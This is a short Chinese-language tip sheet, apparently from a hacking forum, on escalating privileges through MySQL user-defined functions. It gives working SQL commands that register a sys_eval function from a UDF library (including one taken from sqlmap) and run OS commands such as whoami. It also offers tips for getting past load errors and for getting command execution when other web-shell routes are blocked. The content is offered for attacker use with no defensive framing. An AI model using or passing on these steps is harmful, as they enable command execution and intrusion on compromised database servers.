mysql udf 提权技巧

导出的文件名不一定非是xxx.dll，可以试任意的，比如

create function sys_eval returns string soname 'udf.xox';

二：

Can't open shared library 'fun.dll' (errno: 2 )
 

    除了udf不存在、udf被杀，
    还有可能是你的udf版本不对，你拿32位的udf去在64位系统注册的话，一样会提示
    //http://t00ls.net/thread-18841-1-1.html

三：

    降权的mysql一样有用，能注册dll的话你一样能够执行命令，不过权限是根据mysql来的，

    在不支持aspx，ws、shell.application被删得情况下还有一丝希望

    另附从slqmap里提取出来的udf打包，有32位的和64位的

    用法：

1：

create function sys_eval returns string soname 'udf.dll';
 

2：

select sys_eval('whoami');